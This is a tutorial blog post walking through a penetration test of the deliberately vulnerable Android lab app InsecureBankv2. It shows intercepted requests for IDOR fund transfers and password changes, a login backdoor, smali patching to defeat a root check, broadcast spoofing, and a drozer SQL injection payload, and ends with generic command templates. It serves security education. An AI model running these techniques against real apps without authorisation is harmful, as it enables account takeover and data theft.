Hello everybody. In this tutorial we’re going to reverse engineer a vulnerable android app, find all vulnerabilities and create a report.

Tools

We will use the following tools:

I won’t cover installation of all of the tools, only tricky ones.

Creating a virtual device

We should create an android virtual device without google play and google services in order to be able to get access to all file system folders of the device.

Run android studio ( v2020.3.1 in my case) and open AVD manager. Click on Create Virtual Device, then select a device without Google Play, for example Nexus S:

Hit Next. Now select x86 images tab and select android version without Google APIs:

Hit Next. Set AVD Name, in my case it is gonna be Rooted and hit Finish.

Installing drozer

Drozer consists of 2 parts: console app and android app. To install the console app I had to run apt install drozer on my linux machine.

Open https://labs.f-secure.com/tools/drozer/ and download the drozer agent apk file on your local computer. Run your newly created android emulator. Create an empty android app in android studio. In android studio open Device File Explorer and upload drozer agent apk to Download folder, in my case the path was /storage/emulated/0/Download:

In the android emulator open Files => Downloads and install drozer agent. Run the drozer agent apk. Now you should forward ports so that you could connect to the drozer app from your local machine. Run adb forward tcp:31415 tcp:31415. In the android drozer app click the ON button at the bottom of the screen. Now open the console on your local computer and run drozer console connect. You should be connected to the drozer app:

Installing insecurebankv2

In this section we will install a vulnerable android app from this repo: https://github.com/dineshshetty/Android-InsecureBankv2 . Run git clone https://github.com/dineshshetty/Android-InsecureBankv2. Now go to the AndroLabServer folder which has a server side code and install all of the requirements via pip install -r requirements.txt. Run python app.py to run the server. Server backend was written with python 2 so I actually had to run python2 app.py.

Now in the project directory find the file InsecureBankv2.apk. This is our vulnerable android app. Using device file explorer in android studio upload this file to the Download folder and install the app the same way you earlier installed the drozer app.

Now open the insecure bank app. In the preferences screen set the server ip to 10.0.2.2 (android proxies request from this ip to your local machine) and server port to 8888:

The insecure bank app has the following presaved user credentials:

  • dinesh/Dinesh@123$
  • jack/Jack@123$

Now try to login with the credentials above. You should be able to login and see server request in the console:

Setting up burp suite

In this section we will set up a burp suite to intercept requests from the android app to the server. Open burp suite, in my case I’m using Burp Suite Community Edition v2021.8.2, select Proxy tab, hit Intercept button to disable request interception, then select Options and add a new proxy for all interfaces on port 8081:

Now in the burp suite in the Proxy tab hit the Intercept tab. Then click on the Open browser button. Built-in burp browser should be opened. In the web address input type burp and hit enter. You should see the following screen:

Click on the CA Certificate button on the top right corner and download burp certificate. Rename the downloaded certificate from cacert.der to cacert.cer as android does not understand the der extension. Upload certificate to the device using device file explorer in android studio. Now in android emulator open Settings => Network & internet => Wi-Fi => Wi-Fi preferences => Advanced => Install certificates, select burp’s certificate from the Download folder => set any name and VPN and apps for credential use => OK. You should see your certificate in Settings => Security => Encryption & credentials => Trusted credentials => User tab:

Now get your local ip address. Run ifconfig:

In my case it is 192.168.0.105.

In android emulator open Settings => Network & internet => Wi-Fi => Cogs icon => Edit icon => Advanced options => set your ip address in proxy hostname and port 8081(the one from burp) and click Save:

Now you should be able to intercept requests from insecure bank app to the server. In burp enable the Intercept toggler in the Proxy tab. Open insecure bank app, in the preferences screen set server ip to your local ip and server port to 8888(the one where python server is running). Try to login. Request should be intercepted in burp:

API issues

In this section we will go through all API requests made by the insecure bank app to check for available issues. Login to the app using any of the presaved accounts and check all the screens and app features.

User enumeration

Try to login with a non existing user:

POST /login HTTP/1.1
Content-Length: 35
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=invalid_user&password=1234

You will get the following server response:

{"message": "User Does not Exist", "user": "invalid_user"}

Server tells us that the user does not exist. It means that we can try to brute force all available logins. Server should respond with a more general error like Invalid credentials.

Transfer issue

Login with a dinesh account and try to make a funds transfer. You will see the following request:

POST /dotransfer HTTP/1.1
Content-Length: 85
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=dinesh&password=Dinesh%40123%24&from_acc=888888888&to_acc=666666666&amount=1

Now login with a jack account and try to make a funds transfer. You will see the following request:

POST /dotransfer HTTP/1.1
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=jack&password=Jack%40123%24&from_acc=999999999&to_acc=555555555&amount=1

So dinesh has account number 888888888 and jack has account number 999999999. If you login from jack account and set dinesh account number in From Account field in transfer screen then jack will transfer funds from dinesh account instead of his own:

POST /dotransfer HTTP/1.1
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=jack&password=Jack%40123%24&from_acc=888888888&to_acc=555555555&amount=1

Server response:

{"to": "555555555", "message": "Success", "from": "888888888", "amount": "1"}

Password issue

Login with the dinesh account and try to update a password. You will see the following request:

POST /changepassword HTTP/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=dinesh&newpassword=12345678qQ%40

If you intercept the request and change the username to jack then you will be able to update password of the jack account:

POST /changepassword HTTP/1.1
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: 192.168.0.105:8888
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

username=jack&newpassword=12345678qQ%40

Server response:

{"message": "Change Password Successful"}

Decompiling using dex2jar

Create a new folder wip, inside the wip folder create a new folder source and put the InsecureBankv2.apk file there. From a wip folder, using your own paths to dex2jar tool, run sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/InsecureBankv2.apk. You should see the InsecureBankv2-dex2jar.jar file appear in the wip folder.

Now open jadx-gui and select InsecureBankv2-dex2jar.jar. You should the source java code of the app:

Decompiling using apktool

Now run apktool d source/InsecureBankv2.apk. You should see the InsecureBankv2 folder with all app resource files and smali code:

Source code issues

Admin backdoor

Take a look at the com.android.insecurebankv2.DoLogin at the following code in postData() method:

if (DoLogin.this.username.equals("devadmin")) {
    httpPost2.setEntity(new UrlEncodedFormEntity(arrayList));
    execute = defaultHttpClient.execute(httpPost2);
} else {
    httpPost.setEntity(new UrlEncodedFormEntity(arrayList));
    execute = defaultHttpClient.execute(httpPost);
}

You can see that if the username equals devadmin then the request goes to some other API method. Try to login with devadmin username and empty password. You should be able to successfully login.

Hidden content

Take a look at the com.android.insecurebankv2.LoginActivity at the following code in onCreate() method:

if (getResources().getString(R.string.is_admin).equals("no")) {
    findViewById(R.id.button_CreateUser).setVisibility(8);
}

You can see that there is some button that is hidden when the resource string is_admin equals no. Open the decompiled InsecureBankv2 folder, the open res/values/strings.xml file. Find the is_admin string and change it to yes. Now build the app via apktool b InsecureBankv2 and sign it via the sign tool, in my case the command is java -jar /home/vladimir/Public/program_files/sign-1.0.jar InsecureBankv2/dist/InsecureBankv2.apk. You should see a new signed apk InsecureBankv2.s.apk in the InsecureBankv2/dist folder. Install this signed apk via adb install InsecureBankv2/dist/InsecureBankv2.s.apk. Open the app, you should see that hidden button Create User is visible now:

Modifying smali code

Basically it is not an issue, I will just show that you can modify smali code to edit app’s source code. When you login you see a screen with a label Device not rooted:

Let’s modify the source code so that the label is Rooted device. Take a look at the com.android.insecurebankv2.PostLogin class at the following method:

public void showRootStatus() {
    if (doesSuperuserApkExist("/system/app/Superuser.apk") || doesSUexist()) {
        this.root_status.setText("Rooted Device!!");
    } else {
        this.root_status.setText("Device not Rooted!!");
    }
}

You can see in the 1st condition that if Superuser.apk exists then the label is set to the Rooted device. Open smali code of the above class in InsecureBankv2/smali/com/android/insecurebankv2/PostLogin.smali and find the showRootStatus() method:

.method showRootStatus()V
    .locals 3
    .prologue
    const/4 v1, 0x1

    .line 86
    const-string v2, "/system/app/Superuser.apk"
    invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;->doesSuperuserApkExist(Ljava/lang/String;)Z

    move-result v2

    if-nez v2, :cond_0
... other code

You can see that the v2 register holds the result of the check that the file Superuser.apk exists. Then if the v2 register is not empty then proceed to condition cond_0. We don’t have the file Superuser.apk anywhere so the v2 register will always hold an empty result. All we have to do is modify the condition from “if file Superuser.apk exists”( if-nez v2, :cond_0) to “if the Superuser.apk file is empty”( if-eqz v2, :cond_0). So the modified code is:

.method showRootStatus()V
    .locals 3

    .prologue
    const/4 v1, 0x1

    .line 86
    const-string v2, "/system/app/Superuser.apk"

    invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;->doesSuperuserApkExist(Ljava/lang/String;)Z

    move-result v2

    if-eqz v2, :cond_0
    ...other code

Now build the app using the apk tool and sign it(as in the previous step). Install the app and open it. You should see the label Rooted device:

Insecure cryptography

Take a look at the com.android.insecurebankv2.DoLogin class. On user login the credentials are saved via the saveCreds() method:

private void saveCreds(String str, String str2) throws UnsupportedEncodingException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException {
    SharedPreferences.Editor edit = DoLogin.this.getSharedPreferences("mySharedPreferences", 0).edit();
    DoLogin.this.rememberme_username = str;
    DoLogin.this.rememberme_password = str2;
    String str3 = new String(Base64.encodeToString(DoLogin.this.rememberme_username.getBytes(), 4));
    CryptoClass cryptoClass = new CryptoClass();
    DoLogin.this.superSecurePassword = cryptoClass.aesEncryptedString(DoLogin.this.rememberme_password);
    edit.putString("EncryptedUsername", str3);
    edit.putString("superSecurePassword", DoLogin.this.superSecurePassword);
    edit.commit();
}

You can see that login and password are encrypted via the CryptoClass and stored to shared preferences. If you take a look at the com.android.insecurebankv2.CryptoClass you can see that the private key is hard coded directly in the source code. You can get this private key and decrypt login and password as shared preferences are accessible by other apps.

Storage

It is always a good idea to check the data folder of the target app:

Database

Download mydb SQLite db file to your local machine and open via any database editor. I’m using Valentina Studio. Sadly there is a single table names but sometimes you may find a useful information:

Shared preferences

There are also 2 xml files of the shared preferences.

The 1st one mySharedPreferences.xml is for storing server connection settings:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="serverport">8888</string>
    <string name="serverip">192.168.0.105</string>
</map>

The 2nd one com.android.insecurebankv2_preferences.xml stores encrypted login and password:

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="superSecurePassword">EDlH1wWpNSJyUHf55F31FQ==&#10;    </string>
    <string name="EncryptedUsername">ZGV2YWRtaW4=&#13;&#10;    </string>
</map>

But we have already discussed that those credentials can be decrypted as private key is hardcoded in the source code.

Log

You can also check the adb logcat output for some information disclosure. On user login you can see the following line in the adb logcat:

2021-08-31 23:34:36.343 7504-7547/com.android.insecurebankv2 D/Successful Login:: , account=dinesh:Dinesh@123$

Login and password are logged as plain text. Some other apps may read the adb output logs and find out your login and password.

Drozer

General app info

First of all let’s get some more information about the app. Run the drozer console app via drozer console connect(don’t forget that drozer android client should be up and running on your emulator with forwarded ports as we already discussed in the Installing drozer section).

Run run app.package.info -a com.android.insecurebankv2 to get some basic info about the app:

dz> run app.package.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
  Application Label: InsecureBankv2
  Process Name: com.android.insecurebankv2
  Version: 1.0
  Data Directory: /data/user/0/com.android.insecurebankv2
  APK Path: /data/app/com.android.insecurebankv2-Yv9MN8p3cMS59voDQ3HmGQ==/base.apk
  UID: 10106
  GID: [3003]
  Shared Libraries: [/system/framework/org.apache.http.legacy.jar]
  Shared User ID: null
  Uses Permissions:
  - android.permission.INTERNET
  - android.permission.WRITE_EXTERNAL_STORAGE
  - android.permission.SEND_SMS
  - android.permission.USE_CREDENTIALS
  - android.permission.GET_ACCOUNTS
  - android.permission.READ_PROFILE
  - android.permission.READ_CONTACTS
  - android.permission.READ_PHONE_STATE
  - android.permission.READ_CALL_LOG
  - android.permission.ACCESS_NETWORK_STATE
  - android.permission.ACCESS_COARSE_LOCATION
  - android.permission.READ_EXTERNAL_STORAGE
  - android.permission.ACCESS_BACKGROUND_LOCATION
  Defines Permissions:
  - None

Now run run app.package.attacksurface com.android.insecurebankv2 to get a list of exported activities, services, broadcast receivers and content providers:

dz> run app.package.attacksurface com.android.insecurebankv2
Attack Surface:
  5 activities exported
  1 broadcast receivers exported
  1 content providers exported
  0 services exported
    is debuggable

Activities

To get a list of all activities run run app.activity.info -a com.android.insecurebankv2:

dz> run app.activity.info -a com.android.insecurebankv2
Package: com.android.insecurebankv2
  com.android.insecurebankv2.LoginActivity
    Permission: null
  com.android.insecurebankv2.PostLogin
    Permission: null
  com.android.insecurebankv2.DoTransfer
    Permission: null
  com.android.insecurebankv2.ViewStatement
    Permission: null
  com.android.insecurebankv2.ChangePassword
    Permission: null

You can see that we can open PostLogin activity bypassing the login screen. Run run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin. Insecure bank app should be opened and you should see the PostLogin screen. Notice that at the time of executing the command the android drozer client must be opened in the foreground.

Broadcast receivers

To get a list of exported broadcast receivers run run app.broadcast.info -a com.android.insecurebankv2 -i:

dz> run app.broadcast.info -a com.android.insecurebankv2 -i
Package: com.android.insecurebankv2
  com.android.insecurebankv2.MyBroadCastReceiver
    Intent Filter:
      Actions:
        - theBroadcast
    Permission: null

Now check the source code of com.android.insecurebankv2.MyBroadcastReceiver:

public void onReceive(Context context, Intent intent) {
        String stringExtra = intent.getStringExtra("phonenumber");
        String stringExtra2 = intent.getStringExtra("newpass");
        if (stringExtra != null) {
            try {
                SharedPreferences sharedPreferences = context.getSharedPreferences("mySharedPreferences", 1);
                this.usernameBase64ByteString = new String(Base64.decode(sharedPreferences.getString("EncryptedUsername", null), 0), "UTF-8");
                String aesDeccryptedString = new CryptoClass().aesDeccryptedString(sharedPreferences.getString("superSecurePassword", null));
                String str = stringExtra.toString();
                String str2 = "Updated Password from: " + aesDeccryptedString + " to: " + stringExtra2;
                SmsManager smsManager = SmsManager.getDefault();
                System.out.println("For the changepassword - phonenumber: " + str + " password is: " + str2);
                smsManager.sendTextMessage(str, null, str2, null, null);
            } catch (Exception e) {
                e.printStackTrace();
            }
        } else {
            System.out.println("Phone number is null");
        }
}

You can see that it receives 2 strings: phonenumber and newpass. Then it sends a local sms message that the user password was updated. Any other app can call this broadcast receiver and trick the user to open an external url or whatever.

Run run app.broadcast.send --action theBroadcast --extra string phonenumber +123456 --extra string newpass YOUR_NEW_PASSWORD to send a local reset message sms. You should see a new sms message:

Content providers

To get a list of exported URIs run run app.provider.finduri com.android.insecurebankv2:

dz> run app.provider.finduri com.android.insecurebankv2
Scanning com.android.insecurebankv2...
content://com.android.insecurebankv2.TrackUserContentProvider/
content://com.google.android.gms.games
content://com.android.insecurebankv2.TrackUserContentProvider
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/
content://com.google.android.gms.games/

To get a list of vulnerable URIs for SQL injection run run scanner.provider.injection -a com.android.insecurebankv2:

dz> run scanner.provider.injection -a com.android.insecurebankv2
Scanning com.android.insecurebankv2...
Not Vulnerable:
  content://com.android.insecurebankv2.TrackUserContentProvider/
  content://com.google.android.gms.games
  content://com.google.android.gms.games/
  content://com.android.insecurebankv2.TrackUserContentProvider

Injection in Projection:
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/

Injection in Selection:
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers
  content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/

You can see that we can inject SQL code in the projection section. Run run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* FROM sqlite_master; --" to get a list of all available table names:

dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* FROM sqlite_master; --"
| type  | name             | tbl_name         | rootpage | sql                                                                            |
| table | android_metadata | android_metadata | 3        | CREATE TABLE android_metadata (locale TEXT)                                    |
| table | names            | names            | 4        | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT,  name TEXT NOT NULL) |
| table | sqlite_sequence  | sqlite_sequence  | 5        | CREATE TABLE sqlite_sequence(name,seq)                                         |

Services

Insecure bank app does not export any services but you can find a great “drozer services cheat sheet” here: https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial#services

CVSS

It is always a good practise to set a CVSS(Common Vulnerability Scoring System) score to any issue that you’ve found. You can open a CVSS calculator at https://www.first.org/cvss/calculator/3.0 and calculate a score.

Let’s take a vulnerable exported broadcast receiver where any app can send an action and the user will see an sms message “your password has been updated” although real password change is not performed.

  • Attack Vector (AV): local (malicious app should be locally installed on user device)
  • Attack Complexity (AC): Low (it is very simple send a malicious android intent)
  • Privileges Required (PR): None
  • User Interaction (UI): Required (user must open a malicious app)
  • Scope (S): Changed (sms message can contain a link to some other service)
  • Confidentiality (C):  Low (password is not really updated)
  • Integrity (I): None (password is not really updated)
  • Availability (A): Low (malicious app can spam sms messages)

So we get a medium score: 5.0

Report

When all assessments are done it is time to write a report with all the issues and remediations. You can see an example report here: https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf

Summary

This summary is just a shorthand of all the steps and commands:

  1. Create an android virtual device without Google Play and Google services
  2. Setup burp
  • enable proxy in burp
  • in android device setup proxy in wifi settings
  • upload and install CA burp suite certificate on android device (open internal burp’s web browser and open burp address)
  • certificate should be visible in Settings => Trusted Credentials
  1. Using burp suite analyze app’s server requests and responses to find potential flaws
  2. Decompile apk using dex2jar and check decompiled java sources
  • sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/source.com.apk => decompile via dex2jar
  1. Decompile apk using apktool and check resources (AndroidManifest.xml, xml resources, other files if available)
  • apktool d yourapp.apk => decompile using apktool
  1. Check app storage: /data/data/com.android.yourapp folder, xml files of shared preferences, sqlite db, logcat output
  2. Setup drozer
  • install drozer client app on android device
  • adb forward tcp:31415 tcp:31415 => forward drozer ports
  • drozer console connect => connect to drozer console
  1. Drozer (general app info)
  • run app.package.info -a com.android.yourapp => get general app info
  • run app.package.attacksurface com.android.yourapp => get general attack surface
  1. Drozer (activities)
  • run app.activity.info -a com.android.yourapp => get list of activities
  • run app.activity.start --component com.android.yourapp com.android.yourapp.SecureActivity => run activity
  1. Drozer (broadcast receivers)
  • run app.broadcast.info -a com.android.yourapp -i => get info about broadcast receivers
  • run app.broadcast.send --action ACTION_NAME --extra string name value --extra string name2 value2 => send intent with params to broadcast receiver
  1. Drozer (content providers)
  • run app.provider.finduri com.android.yourapp => get a list of content providers uris
  • run scanner.provider.injection -a com.android.yourapp => get a list of vulnerable uris
  • run app.provider.query content://com.android.yourapp/users --projection "* FROM sqlite_master; --" => run SQL injection to list all available table names
  1. Drozer (services)
  1. Report
  • CVSS score
  • High level description with issue and video with potentially great impact
  • Step by step guide with screenshots
  • Explanation how to remediate the issue

How to reinstall a modified app:

  1. apktool d yourapp.apk
  2. modify smali
  3. apktool b yourapp --use-aapt2 (or omit “–use-aapt2”)
  4. java -jar /home/vladimir/Public/program_files/sign-1.0.jar yourapp/dist/yourapp.apk
  5. adb install yourapp/dist/yourapp.s.apk